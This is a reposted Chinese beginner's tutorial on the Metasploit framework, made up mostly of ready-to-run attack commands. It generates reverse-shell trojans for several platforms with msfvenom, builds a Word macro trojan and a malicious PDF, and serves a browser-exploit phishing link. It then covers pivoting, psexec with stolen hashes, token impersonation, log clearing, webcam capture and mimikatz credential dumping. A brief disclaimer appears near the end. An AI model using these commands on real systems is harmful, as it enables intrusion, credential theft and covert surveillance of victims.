metasploit小白教程总结

Posted Pggcute

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了metasploit小白教程总结相关的知识,希望对你有一定的参考价值。

msf小白学习教程一

1.msf是什么?

msf全称:metasplpit
作用:Metasploit是一个渗透测试平台
环境:kali-linux 自动搭建了msf环境

2.msf的详细分解

在这边我就化繁为简,把一些我感觉重要常用的功能详细的讲解一番。

2.1搜索模块

首先肯定是启动msf,启动就很简单了,在kali命令行输入:msfconsole 如果记不住,可以直接:msfc然后加一个tab,然后就会自动补全,回车就好了。


2.1.1 搜索模块命令:search

命令介绍:msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。

请注意,Metasploit模块的命名约定使用下划线和连字符。
msf > search usermap_script

Name Disclosure Date Rank Description


exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution

2.1.2 help

您可以使用内置的关键字系统进一步优化您的搜索。命令:help search

要使用描述性名称进行搜索,请使用name关键字。

您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。

使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。


使用author关键字搜索可让您搜索您最喜爱的作者的模块

当然,search命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
Meterpreter具有搜索功能,默认情况下,该功能将清除受感染计算机上的所有驱动器,以查找您选择的文件。
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)

要在计算机上运行所有jpeg文件搜索,只需使用’-f’开关运行搜索命令并告诉它要查找哪种文件类型。
meterpreter > search -f *.jpg
Found 418 results…
…snip…
c:\\Documents and Settings\\All Users\\Documents\\My Pictures\\Sample Pictures\\Blue hills.jpg (28521 bytes)
c:\\Documents and Settings\\All Users\\Documents\\My Pictures\\Sample Pictures\\Sunset.jpg (71189 bytes)
c:\\Documents and Settings\\All Users\\Documents\\My Pictures\\Sample Pictures\\Water lilies.jpg (83794 bytes)
c:\\Documents and Settings\\All Users\\Documents\\My Pictures\\Sample Pictures\\Winter.jpg (105542 bytes)
…snip…

搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸。我们可以通过将它指向一个起始目录并让它运行来缩短搜索时间。
meterpreter > search -d c:\\documents\\ and\\ settings\\administrator\\desktop\\ -f *.pdf
Found 2 results…
c:\\documents and settings\\administrator\\desktop\\operations_plan.pdf (244066 bytes)
c:\\documents and settings\\administrator\\desktop\\budget.pdf (244066 bytes)
meterpreter >

2.2 msf与meterpreter命令大全

2.2.1 msf命令

核心命令
? 帮助菜单
banner 显示一个真棒metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep另一个命令的输出
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块

工作命令
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业

资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令

数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令
creds 列出数据库中的所有凭据


2.2.2 meterpreter命令

.background 从meterpreter退出到msf里

.sessions -i 1 进入meterpreter里

.cat 查看文件内容

.clearev 清楚日志

.download 从远程机器下载文件 download c:\\boot.ini

.edit 打开文件。 meterpreter > edit edit.txt

.execute 命令在目标上运行一个命令。meterpreter > execute -f cmd.exe -i -H。

.getuid 显示服务器上运行的用户

.idletume 显示远程机器上的用户空闲的秒数

.lpwd>lcd lpwd-显示当前目录 lcd-跳转到哪个目录

.migrate 迁移到受害者的另一个进程 meterpreter > run post/windows/manage/migrate

.ps 显示正在运行进程的列表

.resource 执行文本里的meterpreter命令 resource 1.txt

.search 查找特定文件 search -f *.doc

.shell 将提供目标系统上的标准shell

.upload 上传文件 meterpreter > upload evil_trojan.exe c:\\windows\\system32

.webcam_list 显示网络摄像头

.webcam_snap 从目标系统上已连接网络的摄像头抓取图片


2.3 msf生成木马教程

把网上的一些资源整合了一下,还把word宏木马等也加进来了,方便大家利用

2.3.1 生成木马命令:msfvenom

msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\\x00\\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

2.3.2 生成木马语句

二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\\n’ > shell.php && pbpaste >> shell.php

asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset

PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了


读到这里,大家肯定会感到疑惑,生成木马后怎么获取权限呢,那么我在这里给出答复,一般情况下用两种方式,一种是用msf的监听模块,还有一种就是nc反弹了,这里我就讲解下msf的监听模块,nc大家就自行百度下


监听模块:use exploit/multi/handler
添加ip,端口不需要讲解吧
添加payload:set payload
payload是生成木马的payload
然后运行:exploit

接下来的比较有意思,基于word的shellcode

生成payload:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.171.129 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe

生成的内容分为两个部分,一部分是宏执行的vba代码,另一部分是payload

然后生成一个空白的word文件

宏名随便输入,然后点击创建,我们拷贝生成的第一部分的内容到这里,然后点击保存

我们现在再打开宏,可以看到生成了下面几个宏

然后我们拷贝第二部分,贴到word文档的正文里面,然后保存关闭

然后在Kali上启动侦听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.171.129
exploit
当在Windows启动刚刚的word时,我们就取得shell了

2.4 链接钓鱼

运行命令:use exploit/windows/browser/ms10_002_aurora
接着添加:set URIPATH /
加上payload:set PAYLOAD windows/meterpreter/reverse_tcp
运行:exploit -j
当目标访问我们的恶意URL时,我们就得到了shell


####

2.5 内网穿透

内网穿透不知道我理解的有没有毛病,就相当于在目标系统添加路由,然后转发出去,这边我只接受使用msf方法操作,可能感觉有点怪怪的,但是懂得都懂,好兄弟。

2.5.1 route添加路由

命令详细:

  1. add - 制作新路线
  2. remove - 删除路线; 'del’是一个别名
  3. flush - 删除所有路线
  4. get - 显示给定目标的路线
  5. print - 显示所有活动路线

#这边和大家讲下,此方法是获取到了meterpreter后的操作,不过也对,没有获取也不会做到这一步,我真是废话了。

例子:
通过session 1为从192.168.0.0到192.168.0.0的所有主机添加路由
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1

删除上述路线
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1


显示将用于给定主机或网络的路线
route get 192.168.0.11

2.5.2 autoroute 添加路由

命令说明:

  1. run autoroute -s 10.1.1.0 -n 255.255.255.0#将路由添加到10.10.10.1/255.255.255.0
  2. run autoroute -s 10.10.10.1#网络掩码默认为255.255.0
  3. run autoroute -s 10.10.1/24#CIDR表示法也可以
  4. run autoroute -p#打印活动路由表
  5. run autoroute -d -s 10.10.10.1#删除10.10.1/255.255.0路由
  6. 使用“route”和“ipconfig”metermeter命令了解可用路由


run autorpute -s 10.1.13.0/24 绑定路由


run autoroute -p 查看


_现在开始举一个例子,假如现在测试一个公司系统,拿到了一台主机的权限,查看它的ip段发现,除了它本身的段,还存在10.1.13.0/24的段,那么首先添加10.1.13.0/24的路由,run autoroute -s 10.1.13.0/24,然后我们还得提权到system,然后转储密码散列,退出meterpreter,background

meterpdreter > getsystem
…xxxx system
meterpreter > run hashdump
*
*
administrator:dwadwadwadwadwadwadawd
guest:Dwadwadwad


虽然我们添加了它第二个ip段的路由,但是还是不知道它第二个ip段有没有存活主机,现在用msf扫描一下,这里用基本的tcp端口扫描程序来查找端口139和445


  1. msf:>use auxiliary/scanner/portscan/tcp#进入扫描模块
  2. msf auxiliary(tcp)> set rhosts 10.1.13.0/24
  3. msf auxiliary(tcp)>set ports 139,445
  4. msf auxiliary(tcp)>set threads 50
  5. msf auxiliary(tcp)>run

假设我们发现了一台额外的机器,我们尝试将我们收集的密码哈希与psexec漏洞利用模块一起使用,本地管理员密码在整个企业中通常是相同的。


msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 10.1013.2

msf exploit(psexec) > set smbuser Administrator

msf exploit(psexec) > set smbpass xxxxxxxxxxxx

msf exploit(psexec) > set payload windows/meterpreter/bind_tcp

msf exploit(psexec) > exploit

#这边就显示了成功获取meterprter


2.5.3 portfwd 添加路由

命令说明:

options:选项
  1. -L :用于指定监听主机。除非需要在特定网络适配器上进行转发,否则可以省略此选项。如果未输入任何值,则将使用0.0.0.0.
  2. -h :显示以上信息
  3. -l :这是一个本地端口,它将在攻击机上监听,与此端口的连接将被转发到远程系统。
  4. -p :tcp连接将转发到的端口。
  5. -r :连接被中继到的ip地址(目标)。

Arguments:参数
  1. Add: 该参数用于创建转发。
  2. Delete: 这将我们的转发端口列表中删除先前的条目。
  3. List: 这将列出当前转发的所有端口。
  4. Flush: 这将删除我们转发列表中的所有端口。
Syntax:语法

add >
在meteroreter shell中,以下列方式使用该命令:


meterpreter > portfwd add -l 3389 -p 3389 -r xxx.xx.xx.xx


• add会将端口转发添加到列表中,并将为我们创建一个隧道。请注意,此通道也将存在于Metasploit控制台之外,使其可用于任何终端会话。
• -l 3389是本地端口,将被监听并转发到我们的目标。这可以是您的机器上的任何端口,只要它尚未被使用。
• -p 3389是我们的定向主机上的目标端口。
• -r [target host]是我们的目标系统的IP或主机名。


delete >
与前面的命令非常相似,它是删除条目。再次从有效的Meterpreter会话中,我们输入以下内容:
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]



🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶🥶


list >
这个参数不需要任何选项,并为我们提供当前正在侦听和转发的端口的列表。
meterpreter > portfwd list


🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳😏🥳🥳🥳🥳


flush >
这个参数将允许我们一次性移除所有本地端口。
meterpreter > portfwd flush


portfwd用法示例一:

在这个例子中,我们将在我们的本地机器上打开一个端口,并让我们的Meterpreter会话在同一端口上向我们的受害者转发连接。我们将使用端口3389,这是远程桌面连接的Windows默认端口

参与者ip: 172.16.194.141
受害者机器:172.16.194.144、192.168.1.191

我们是通过192的入侵的,发现存在172的段,现在开始端口转发
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.194.141
查看端口监听:netstat -antp


🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡


portfwd用法示例二

假如目标机器存在ms08-067漏洞,我们可以使用之前相同的技术把正确的端口转发给所需的漏洞。
我们这边转发445端口,然后运行。

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description


RHOST 127.0.0.1 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description


EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.1.162 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name


0 Automatic Targeting
msf exploit(ms08_067_netapi) > exploit
🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡小丑竟然是我们自己🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡



2.6 隐身令牌攻击

meterpreter > list_tokens -u 查看有没有有效的令牌

假如说有个有效的administrator管理员令牌,我们现在模仿这个令牌以承担它的特权。发出impersonate_token命令时,请注意“SNEAKS.IN \\ Administrator”中的两个反斜杠。这是必需的,因为它会导致只有一个斜杠的错误。还要注意,成功模拟令牌后,我们通过执行getuid命令来检查当前的用户ID

meterpreter > impersonate_token SNEAKS.IN\\\\Administrator

接下来,我们通过在Meterpreter中运行’ execute -f cmd.exe -i -t '来运行一个shell作为此个人帐户。“ execute -f cmd.exe ”告诉Metasploit执行cmd.exe,-i允许我们与受害者PC进行交互,而-t则认为我们刚刚通过隐身模式扮演角色。
meterpreter > execute -f cmd.exe -i -t
meterpreter > shell
C:\\WINDOWS\\system32> whoami
SNEAKS.IN\\administrator

2.7 密码破解

猕猴桃(mimikatz)

获取一个meterpreter,我们需要确保我们的会话以管理员级别的权限运行,以便mimikatz运行。
meterpreter > getuid
Server username: WINXP-E95CE571A1\\Administrator
meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\\SYSTEM


Mimikatz支持32位和64位Windows体系结构。将我们的权限升级到SYSTEM后,我们需要使用sysinfo命令验证受感染机器的体系结构。这将与64位机器相关,因为我们可能在64位体系结构上损害了32位进程。如果出现这种情况,meterpreter会尝试将32位版本的Mimikatz加载到内存中,这会导致大多数功能无法使用。这可以通过查看正在运行的进程列表并在加载Mimikatz之前迁移到64位进程来避免。

meterpreter > sysinfo
Computer : WINXP-E95CE571A1
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

看出这是一个32位机器,我们继续将mimikatz模块加载到内存中。
meterpreter > load mimikatz
Loading extension mimikatz…success.

meterpreter > help mimikatz

Command Description
------- -----------
kerberos 尝试检索Kerberos凭证
livessp 尝试检索livessp凭证
mimikatz_command 运行自定义命令
msv 尝试检索msv凭证(哈希)
ssp 尝试检索ssp凭证
tspkg 尝试检索tspkg凭证
wdigest 尝试检索wdigest凭证

Metasploit为我们提供了一些内置命令,可以直接从内存中展示Mimikatz最常用的功能,转储散列和明文凭证。但是,mimikatz_command选项使我们可以完全访问Mimikatz中的所有功能。

meterpreter > mimikatz_command -f version

mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02)

尽管有点不正统,但我们可以通过加载不存在的功能来获得可用模块的完整列表
meterpreter > mimikatz_command -f fu::

~~Module : ‘fu’ introuvable

Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion système
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privilèges
handle - Manipulation des handles
impersonate - Manipulation tokens d’accès
winmine - Manipulation du démineur
minesweeper - Manipulation du démineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n’ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS~~

要查询这些模块的可用选项,我们可以使用以下语法

meterpreter > mimikatz_command -f divers::

~~Module : ‘divers’ identifié, mais commande ‘’ introuvable

Description du module : Fonctions diverses n’ayant pas encore assez de corps pour avoir leurs propres module
noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
eventdrop - [super experimental] Patch l’observateur d’événements pour ne plus rien enregistrer
cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
secrets - Affiche les secrets utilisateur~~



🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️🧟‍♀️

mimikatz 从内存中读取哈希和密码

我们既可以使用内置的Metasploit命令,也可以使用本机Mimikatz命令从受感染的机器中提取哈希和明文凭据。


内置metasploit
meterpreter > msv

meterpreter > kerberos

原生mimikatz

meterpreter > mimikatz_command -f samdump::hashes

其实还有超级多的功能点,但是我感觉都差不多,需要的时候百度下,msf爆破ssh,等等等好多方式,这些懂的都懂,而且有些工具比这个方便,懂的都懂,hhhhhhhhh,再次感谢付杰表哥的文章,让我复习的方便很多。

####2020年度过的异常艰辛,愿世界和平。



/##此教程仅供参考学习,请勿用于非法操作,请牢记网络安全法。


##本文章参考付杰表哥写的文章做的总结:https://www.fujieace.com/metasploit/tutorials.html

以上是关于metasploit小白教程总结的主要内容,如果未能解决你的问题,请参考以下文章

Metasploit渗透——msfvenom隐藏恶意进程

源火星球——青龙羊毛

今日头条——青龙羊毛

kali linux 系列教程之metasploit 连接postgresql

浅谈CSRF漏洞

渗透测试思路总结